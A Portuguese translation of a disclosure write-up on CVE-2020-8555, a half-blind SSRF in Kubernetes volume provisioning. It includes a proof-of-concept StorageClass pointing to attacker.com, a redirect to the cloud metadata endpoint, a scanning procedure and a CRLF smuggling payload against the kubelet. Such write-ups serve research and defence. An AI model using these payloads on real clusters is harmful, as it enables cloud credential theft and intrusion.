{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Nota do tradutor.<\/b>: os autores deste artigo detalham como conseguiram descobrir uma vulnerabilidade <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> no Kubernetes. Embora \u00e0 primeira vista n\u00e3o parecesse muito perigosa, combinada com outros fatores, sua criticidade era m\u00e1xima para alguns provedores de nuvem. Os especialistas foram generosamente recompensados por seu trabalho por v\u00e1rias organiza\u00e7\u00f5es.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Quem somos n\u00f3s<\/h2>\n<p>\nN\u00f3s somos dois pesquisadores franceses na \u00e1rea de seguran\u00e7a que descobriram uma vulnerabilidade no Kubernetes. Nossos nomes s\u00e3o Brice Augras e Christophe Hauquiert, mas em v\u00e1rias plataformas de Bug Bounty somos conhecidos como Reeverzax e Hach, respectivamente:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 arquiteto do Kubernetes na Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>O que aconteceu?<\/h2>\n<p>\nEste artigo \u00e9 a nossa forma de compartilhar como um projeto de pesquisa aparentemente comum se transformou na aventura mais emocionante na vida dos ca\u00e7adores de bugs (pelo menos, at\u00e9 agora).<\/p>\n<p>Como voc\u00ea provavelmente sabe, os ca\u00e7adores de bugs t\u00eam algumas caracter\u00edsticas not\u00e1veis:<\/p>\n<ul>\n<li> eles vivem de pizzas e cerveja;<\/li>\n<li> eles trabalham enquanto todos os outros dormem.<\/li>\n<\/ul>\n<p>\nN\u00e3o somos exce\u00e7\u00e3o a essas regras: geralmente nos encontramos em fins de semana e passamos noites insones hackeando. Mas uma dessas noites terminou de forma bastante inusitada.<\/p>\n<p>Inicialmente, planejamos nos encontrar para discutir a participa\u00e7\u00e3o no <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> no dia seguinte. Durante a conversa sobre a seguran\u00e7a do Kubernetes em um ambiente de servi\u00e7o gerenciado, lembramos de uma antiga ideia de SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) e decidimos tentar us\u00e1-la como um cen\u00e1rio de ataque.<\/p>\n<p>\u00c0s 11 da noite, come\u00e7amos a pesquisa e fomos dormir com a alvorada, bastante satisfeitos com os resultados. Foi por meio dessa investiga\u00e7\u00e3o que encontramos o programa MSRC Bug Bounty e criamos um exploit para escalonamento de privil\u00e9gios.<\/p>\n<p>Algumas semanas\/meses se passaram e nosso resultado inesperado nos rendeu uma das maiores recompensas na hist\u00f3ria do Azure Cloud Bug Bounty \u2014 al\u00e9m daquela que recebemos do Kubernetes!<\/p>\n<p>Baseado em nosso projeto de pesquisa, o comit\u00ea Kubernetes Product Security Committee publicou <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Agora gostar\u00edamos de disseminar o m\u00e1ximo poss\u00edvel de informa\u00e7\u00f5es sobre a vulnerabilidade encontrada. Esperamos que voc\u00ea aprecie a descoberta e compartilhe detalhes t\u00e9cnicos com outros membros da comunidade infosec!<\/p>\n<p>Ent\u00e3o, aqui est\u00e1 a nossa hist\u00f3ria\u2026<\/p>\n<h2>Contexto<\/h2>\n<p>\nPara transmitir completamente o significado do ocorrido, vamos primeiro examinar como o Kubernetes funciona em um ambiente gerenciado na nuvem.<\/p>\n<p>Quando voc\u00ea cria uma inst\u00e2ncia de cluster Kubernetes em tal ambiente, o trabalho da camada de gerenciamento geralmente \u00e9 responsabilidade do provedor de servi\u00e7os em nuvem:<\/p>\n<p><img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>A camada de gerenciamento est\u00e1 localizada na periferia do provedor de nuvem, enquanto os n\u00f3s do Kubernetes est\u00e3o na periferia do cliente.<\/i><\/p>\n<p>Para a aloca\u00e7\u00e3o din\u00e2mica de volumes, h\u00e1 um mecanismo de fornecimento din\u00e2mico a partir de um backend de armazenamento externo e sua associa\u00e7\u00e3o com o PVC (persistent volume claim).<\/p>\n<p>Assim, depois que o PVC \u00e9 criado e vinculado ao StorageClass no cluster K8s, o gerenciamento do volume \u00e9 assumido pelo kube\/cloud controller manager (o nome exato depende da vers\u00e3o). <i>(<b>Nota do tradutor.<\/b>: J\u00e1 escrevemos mais sobre o CCM com base em sua implementa\u00e7\u00e3o para um dos provedores de nuvem. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">aqui<\/a><\/noindex>.)<\/i><\/p>\n<p>Existem v\u00e1rias variantes de provisionadores suportadas pelo Kubernetes: a maioria delas est\u00e1 inclu\u00edda em <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">n\u00facleo do orquestrador,<\/a><\/noindex>, enquanto outras s\u00e3o gerenciadas por provisionadores adicionais que s\u00e3o executados em pods no cluster.<\/p>\n<p>Em nossa pesquisa, focamos no mecanismo interno de fornecimento de volumes, que \u00e9 ilustrado abaixo:<\/p>\n<p><img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Provisionamento din\u00e2mico de volumes usando o provisionador embutido do Kubernetes<\/i><\/p>\n<p>Resumindo, quando o Kubernetes \u00e9 implementado em um ambiente gerenciado, a responsabilidade pelo controller manager recai sobre o fornecedor de nuvem, mas o pedido de cria\u00e7\u00e3o do volume (n\u00famero 3 no diagrama acima) sai dos limites da rede interna do provedor de nuvem. E \u00e9 aqui que a situa\u00e7\u00e3o se torna realmente interessante!<\/p>\n<h2>Cen\u00e1rio de ataque<\/h2>\n<p>\nNesta se\u00e7\u00e3o, vamos mostrar como aproveitamos o fluxo de trabalho mencionado acima para obter acesso aos recursos internos do provedor de servi\u00e7os em nuvem. Tamb\u00e9m ser\u00e1 demonstrado como certas a\u00e7\u00f5es podem ser realizadas \u2014 como obter credenciais internas ou realizar escalonamento de privil\u00e9gios.<\/p>\n<p>Uma simples manobra (neste caso, \u00e9 um Service Side Request Forgery) ajudou a ultrapassar os limites do ambiente do cliente em clusters de v\u00e1rios provedores de servi\u00e7os de K8s gerenciado.<\/p>\n<p>Em nossas pesquisas, focamos no provisionador GlusterFS. Embora a sequ\u00eancia de a\u00e7\u00f5es a seguir esteja descrita neste contexto, essa mesma vulnerabilidade afeta Quobyte, StorageOS e ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Abuso do mecanismo de provisionamento din\u00e2mico de volumes<\/i><\/p>\n<p>Durante a an\u00e1lise da classe de armazenamento <b>GlusterFS<\/b> nos c\u00f3digos-fonte do cliente em Golang, n\u00f3s <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">notamos<\/a><\/noindex>, que na primeira solicita\u00e7\u00e3o HTTP (3), enviada durante a cria\u00e7\u00e3o do volume, ao final da URL do usu\u00e1rio no par\u00e2metro <code>resturl<\/code> as mesmas informa\u00e7\u00f5es que para um cont\u00eainer normal. <code>\/volumes<\/code>.<\/p>\n<p>Decidimos nos livrar desse caminho adicional adicionando <code>#<\/code> no par\u00e2metro <code>resturl<\/code>. Aqui est\u00e1 a primeira configura\u00e7\u00e3o YAML que usamos para testar a vulnerabilidade SSRF \"semi-cega\" <i>(mais sobre semi-blind ou half-blind SSRF pode ser lido, por exemplo, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">aqui<\/a><\/noindex> \u2014 nota do tradutor.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nEm seguida, para o gerenciamento remoto do cluster Kubernetes, usamos o bin\u00e1rio <b>kubectl<\/b>. Normalmente, provedores de nuvem (Azure, Google, AWS etc.) permitem que se obtenham credenciais para uso com essa ferramenta.<\/p>\n<p>Gra\u00e7as a isso, conseguimos aplicar nosso arquivo \"especial\". O kube-controller-manager executou a solicita\u00e7\u00e3o HTTP resultante:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Resposta do ponto de vista do atacante<\/i><\/p>\n<p>Pouco depois, tamb\u00e9m conseguimos receber uma resposta HTTP do servidor de destino \u2014 atrav\u00e9s dos comandos <code>describe pvc<\/code> ou <code>get events<\/code> no kubectl. E de fato: esse driver Kubernetes por padr\u00e3o \u00e9 excessivamente verboso em seus avisos\/mensagens de erro...<\/p>\n<p>Aqui est\u00e1 um exemplo com um link para <code>https:\/\/www.google.fr<\/code>, definido como par\u00e2metro <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# ou voc\u00ea pode usar kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nCom esse tipo de abordagem, est\u00e1vamos limitados a requisi\u00e7\u00f5es do tipo <b>HTTP POST<\/b> e n\u00e3o conseguimos obter o conte\u00fado do corpo da resposta, se o c\u00f3digo retornado fosse <b>201<\/b>. Por isso decidimos realizar pesquisas adicionais e ampliamos esse cen\u00e1rio de ataque com novas abordagens.<\/p>\n<h2>A evolu\u00e7\u00e3o de nossas pesquisas<\/h2>\n<p><\/p>\n<ul>\n<li> Cen\u00e1rio avan\u00e7ado #1: uso de redirecionamento 302 de um servidor externo para alterar o m\u00e9todo HTTP, a fim de obter uma forma mais flex\u00edvel de coletar dados internos.<\/li>\n<li> Cen\u00e1rio avan\u00e7ado #2: automa\u00e7\u00e3o da varredura de LAN e detec\u00e7\u00e3o de recursos internos.<\/li>\n<li> Cen\u00e1rio avan\u00e7ado n\u00ba 3: uso de HTTP CRLF + contrabando de pedidos para criar solicita\u00e7\u00f5es HTTP adaptadas e obter dados extra\u00eddos dos logs do kube-controller.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Especifica\u00e7\u00f5es t\u00e9cnicas<\/h3>\n<p><\/p>\n<ul>\n<li> Os estudos utilizaram o Azure Kubernetes Service (AKS) com Kubernetes vers\u00e3o 1.12 na regi\u00e3o da Europa do Norte.<\/li>\n<li> Os cen\u00e1rios descritos acima foram executados nas vers\u00f5es mais recentes do Kubernetes, exceto o terceiro cen\u00e1rio, que necessitava de um Kubernetes constru\u00eddo com Golang vers\u00e3o \u2264 1.12.<\/li>\n<li> Servidor externo do atacante \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Cen\u00e1rio avan\u00e7ado n\u00ba 1: redirecionamento de solicita\u00e7\u00e3o HTTP POST para GET e obten\u00e7\u00e3o de dados confidenciais<\/h3>\n<p>\nO m\u00e9todo original foi aprimorado pela configura\u00e7\u00e3o do servidor do invasor para retornar <b>C\u00f3digo de status HTTP 302<\/b>, para converter a solicita\u00e7\u00e3o POST em uma solicita\u00e7\u00e3o GET (passo 4 no diagrama):<\/p>\n<p><img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nA primeira solicita\u00e7\u00e3o (3), originada do cliente <b>GlusterFS<\/b> (Controller Manager), \u00e9 do tipo POST. Ao executar os seguintes passos, conseguimos transform\u00e1-la em GET:<\/p>\n<ul>\n<li> Como par\u00e2metro <code>resturl<\/code> em StorageClass \u00e9 especificado <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpoint <code>https:\/\/attacker.com\/redirect.php<\/code> retorna um c\u00f3digo de status HTTP 302 com o seguinte Location Header: <code>http:\/\/169.254.169.254<\/code>. Este pode ser qualquer outro recurso interno \u2014 neste caso, o link de redirecionamento \u00e9 usado exclusivamente como exemplo.<\/li>\n<li> Por padr\u00e3o <b>biblioteca net\/http<\/b> O Golang redireciona a solicita\u00e7\u00e3o e converte POST em GET com o status 302, resultando em uma solicita\u00e7\u00e3o HTTP GET ao recurso de destino.<\/li>\n<\/ul>\n<p>\nPara ler o corpo da resposta HTTP, \u00e9 necess\u00e1rio fazer <code>describe<\/code> objeto PVC:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nAqui est\u00e1 um exemplo de resposta HTTP em formato JSON que conseguimos obter:<\/p>\n<p><img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nAs capacidades da vulnerabilidade encontrada na \u00e9poca estavam limitadas devido aos seguintes fatores:<\/p>\n<ul>\n<li> Impossibilidade de inserir cabe\u00e7alhos HTTP na solicita\u00e7\u00e3o de sa\u00edda.<\/li>\n<li> Impossibilidade de executar uma solicita\u00e7\u00e3o POST com par\u00e2metros no corpo (o que \u00e9 conveniente para solicitar o valor da chave de uma inst\u00e2ncia etcd, funcionando em <b>2379<\/b> uma porta, se HTTP n\u00e3o estiver criptografado).<\/li>\n<li> Impossibilidade de obter o conte\u00fado do corpo da resposta quando o c\u00f3digo de status era 200 e a resposta n\u00e3o tinha JSON Content-Type.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Cen\u00e1rio avan\u00e7ado n\u00ba 2: varredura de rede local<\/h3>\n<p>\nEsse m\u00e9todo de SSRF half-blind foi ent\u00e3o utilizado para escanear a rede interna do provedor de servi\u00e7os em nuvem e interrogar v\u00e1rios servi\u00e7os ouvintes (inst\u00e2ncia Metadata, Kubelet, etcd, etc.) com base nas respostas do <b>kube controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPrimeiro, foram definidos os padr\u00f5es de portas ouvintes dos componentes do Kubernetes (8443, 10250, 10251, etc.), e ent\u00e3o foi necess\u00e1rio automatizar o processo de varredura.<\/p>\n<p>Vendo que esse m\u00e9todo de escaneamento de recursos \u00e9 muito espec\u00edfico e incompat\u00edvel com scanners cl\u00e1ssicos e ferramentas de SSRF, decidimos criar nossos pr\u00f3prios workers em um script bash que automatiza todo o processo.<\/p>\n<p>Por exemplo, para escanear rapidamente o intervalo 172.16.0.0\/12 da rede interna, 15 workers foram iniciados em paralelo. O intervalo de IP mencionado foi escolhido apenas como exemplo e pode ser alterado para o intervalo de IP de um fornecedor espec\u00edfico.<\/p>\n<p>Para escanear um \u00fanico endere\u00e7o IP e uma porta, \u00e9 necess\u00e1rio fazer o seguinte:<\/p>\n<ul>\n<li> remover o StorageClass verificado na \u00faltima vez;<\/li>\n<li> remover o Persistent Volume Claim verificado anteriormente;<\/li>\n<li> alterar os valores de IP e Port em <code>sc.yaml<\/code>;<\/li>\n<li> criar um StorageClass com novo IP e porta;<\/li>\n<li> criar um novo PVC;<\/li>\n<li> extrair os resultados da varredura usando describe para PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Cen\u00e1rio avan\u00e7ado n\u00ba 3: inje\u00e7\u00e3o CRLF + smuggling HTTP em vers\u00f5es \"antigas\" do cluster Kubernetes<\/h3>\n<p>\nSe, al\u00e9m disso, o provedor oferecesse aos clientes vers\u00f5es antigas do cluster K8s <b>e<\/b> dando-lhes acesso aos logs do kube-controller-manager, o efeito se tornaria ainda mais significativo.<\/p>\n<p>\u00c9 muito mais conveniente para um invasor modificar as requisi\u00e7\u00f5es HTTP \u00e0 vontade, destinadas a obter a resposta HTTP completa.<\/p>\n<p><img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPara a implementa\u00e7\u00e3o do \u00faltimo cen\u00e1rio, as seguintes condi\u00e7\u00f5es deveriam ser atendidas:<\/p>\n<ul>\n<li> O usu\u00e1rio deve ter acesso aos logs do kube-controller-manager (como, por exemplo, no Azure Log Insights).<\/li>\n<li> O cluster Kubernetes deve usar uma vers\u00e3o do Golang inferior a 1.12.<\/li>\n<\/ul>\n<p>\nExecutamos um ambiente local simulando a troca de dados entre um cliente Go GlusterFS e um servidor alvo falso (por enquanto, n\u00e3o iremos publicar o PoC).<\/p>\n<p>Foi descoberta <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">uma vulnerabilidade<\/a><\/noindex>, que afeta vers\u00f5es do Golang abaixo de 1.12 e permitia que hackers realizassem ataques do tipo HTTP smuggling\/CRLF.<\/p>\n<p>Combinando o SSRF half-blind descrito acima <b>juntos<\/b> com este, conseguimos enviar requisi\u00e7\u00f5es \u00e0 nossa escolha, incluindo a modifica\u00e7\u00e3o de cabe\u00e7alhos, m\u00e9todo HTTP, par\u00e2metros e dados que o kube-controller-manager ent\u00e3o processava.<\/p>\n<p>Aqui est\u00e1 um exemplo de \"iscada\" funcional no par\u00e2metro <code>resturl<\/code> StorageClass que implementa um cen\u00e1rio de ataque semelhante:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nComo resultado, ocorre um erro <b>resposta n\u00e3o solicitada<\/b>, mensagem que ser\u00e1 registrada nos logs do controlador. Devido \u00e0 \"verbosidade\" ativada por padr\u00e3o, o conte\u00fado da resposta HTTP tamb\u00e9m \u00e9 salvo l\u00e1.<\/p>\n<p><img decoding=\"async\" alt=\"Quando n\u00e3o se trata apenas de vulnerabilidade no Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEsta foi nossa isca mais eficaz dentro do proof of concept.<\/p>\n<p>Usando essa abordagem, conseguimos realizar alguns dos seguintes ataques em clusters de diferentes provedores de k8s gerenciado: escalonamento de privil\u00e9gios com obten\u00e7\u00e3o de credenciais em inst\u00e2ncias de metadata, DoS do mestre atrav\u00e9s de requisi\u00e7\u00f5es HTTP (n\u00e3o criptografadas) nas inst\u00e2ncias mestres do etcd, etc.<\/p>\n<h2>Consequ\u00eancias<\/h2>\n<p>\nNo comunicado oficial do Kubernetes sobre a vulnerabilidade SSRF que descobrimos, foi atribu\u00eddo um n\u00edvel <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Considerando apenas a vulnerabilidade associada ao per\u00edmetro do Kubernetes, o vetor de integridade <i>(integrity vector)<\/i> nela \u00e9 qualificado como <b>Nenhum<\/b>.<\/p>\n<p>No entanto, a avalia\u00e7\u00e3o das poss\u00edveis consequ\u00eancias no contexto de um ambiente de servi\u00e7o gerenciado (e esta foi a parte mais interessante da nossa pesquisa!) nos levou a reclassificar a vulnerabilidade para um n\u00edvel <b>Cr\u00edtico CVSS10\/10<\/b> para muitos distribuidores.<\/p>\n<p>Abaixo est\u00e3o informa\u00e7\u00f5es adicionais que ajudar\u00e3o a entender o que consideramos ao avaliar as poss\u00edveis consequ\u00eancias em ambientes de nuvem:<\/p>\n<h3>Integridade<\/h3>\n<p><\/p>\n<ul>\n<li> Execu\u00e7\u00e3o remota de comandos usando as credenciais internas obtidas.<\/li>\n<li> Reprodu\u00e7\u00e3o do cen\u00e1rio acima mencionado atrav\u00e9s do m\u00e9todo IDOR (Insecure Direct Object Reference, ou seja, refer\u00eancias diretas inseguras a objetos) com outros recursos encontrados na rede local.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Confidencialidade<\/h3>\n<p><\/p>\n<ul>\n<li> Ataque do tipo <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Movimento Lateral<\/a><\/noindex> gra\u00e7as ao roubo de credenciais de nuvem (por exemplo, metadata API).<\/li>\n<li> Coleta de informa\u00e7\u00f5es por meio de varredura da rede local (determina\u00e7\u00e3o de vers\u00e3o SSH, vers\u00e3o do servidor HTTP, ...).<\/li>\n<li> Coleta de informa\u00e7\u00f5es sobre inst\u00e2ncias e infraestrutura por meio de inqu\u00e9ritos a APIs internas, como a metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Roubo de dados de clientes usando credenciais de nuvem.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Acessibilidade<\/h3>\n<p>\nTodos os cen\u00e1rios de explora\u00e7\u00e3o relacionados a vetores de ataque \u00e0 <b>integridade<\/b>, podem ser usados para a\u00e7\u00f5es destrutivas e levar \u00e0 indisponibilidade das inst\u00e2ncias mestres do per\u00edmetro do cliente (ou de qualquer outro).<\/p>\n<p>Como est\u00e1vamos em um ambiente gerenciado K8s e avaliando o impacto na integridade, \u00e9 poss\u00edvel imaginar v\u00e1rios cen\u00e1rios que poderiam afetar a disponibilidade. Como exemplos adicionais, podemos mencionar a corrup\u00e7\u00e3o do banco de dados etcd ou a execu\u00e7\u00e3o de uma chamada cr\u00edtica \u00e0 API do Kubernetes.<\/p>\n<h2>Cronologia<\/h2>\n<p><\/p>\n<ul>\n<li> 6 de dezembro de 2019: envio de uma mensagem sobre a vulnerabilidade descoberta ao MSRC Bug Bounty.<\/li>\n<li> 3 de janeiro de 2020: um terceiro informou os desenvolvedores do Kubernetes que est\u00e1vamos trabalhando em um problema de seguran\u00e7a. E pediu que considerassem o SSRF como uma vulnerabilidade in-core. Ap\u00f3s isso, apresentamos um relat\u00f3rio abrangente com detalhes t\u00e9cnicos sobre a origem do problema.<\/li>\n<li> 15 de janeiro de 2020: fornecemos aos desenvolvedores do Kubernetes relat\u00f3rios t\u00e9cnicos e gerais conforme solicitado (atrav\u00e9s da plataforma HackerOne).<\/li>\n<li> 15 de janeiro de 2020: os desenvolvedores do Kubernetes nos informaram que o SSRF half-blind + inje\u00e7\u00e3o CRLF para vers\u00f5es anteriores \u00e9 considerado uma vulnerabilidade in-core. Imediatamente interrompemos a an\u00e1lise de per\u00edmetros de outros provedores de servi\u00e7os: a equipe K8s agora estava lidando com a causa raiz.<\/li>\n<li> 15 de janeiro de 2020: recompensa recebida do MSRC via HackerOne.<\/li>\n<li> 16 de janeiro de 2020: o PSC do Kubernetes (Comit\u00ea de Seguran\u00e7a do Produto) reconheceu a vulnerabilidade e pediu que a mantiv\u00e9ssemos em segredo at\u00e9 meados de mar\u00e7o devido ao grande n\u00famero de v\u00edtimas potenciais.<\/li>\n<li> 11 de fevereiro de 2020: recompensa recebida do Google VRP.<\/li>\n<li> 4 de mar\u00e7o de 2020: recompensa recebida do Kubernetes via HackerOne.<\/li>\n<li> 15 de mar\u00e7o de 2020: a divulga\u00e7\u00e3o p\u00fablica inicialmente planejada foi adiada devido \u00e0 situa\u00e7\u00e3o da COVID-19.<\/li>\n<li> 1 de junho de 2020: declara\u00e7\u00e3o conjunta do Kubernetes + Microsoft sobre a vulnerabilidade.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Estamos bebendo cerveja e comendo pizza \ud83d\ude42<\/li>\n<li> Descobrimos uma vulnerabilidade in-core no Kubernetes, embora n\u00e3o estiv\u00e9ssemos planejando isso.<\/li>\n<li> Realizamos uma an\u00e1lise adicional em clusters de v\u00e1rios provedores de nuvem e conseguimos amplificar o dano causado pela vulnerabilidade para obter mais b\u00f4nus incr\u00edveis.<\/li>\n<li> Neste artigo, voc\u00ea encontrar\u00e1 muitos detalhes t\u00e9cnicos. Faremos quest\u00e3o de discuti-los com voc\u00ea (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Acabou sendo que todas as formalidades e a elabora\u00e7\u00e3o de relat\u00f3rios levaram muito mais tempo do que o esperado.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Links<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Grupo do Google kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. do tradutor<\/h2>\n<p>\nConfira tamb\u00e9m em nosso blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">A ca\u00e7a a bugs no Kubernetes est\u00e1 oficialmente aberta<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Sa\u00edda do pod no Kubernetes atrav\u00e9s da montagem de logs<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ ferramentas para seguran\u00e7a do Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Fonte: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. 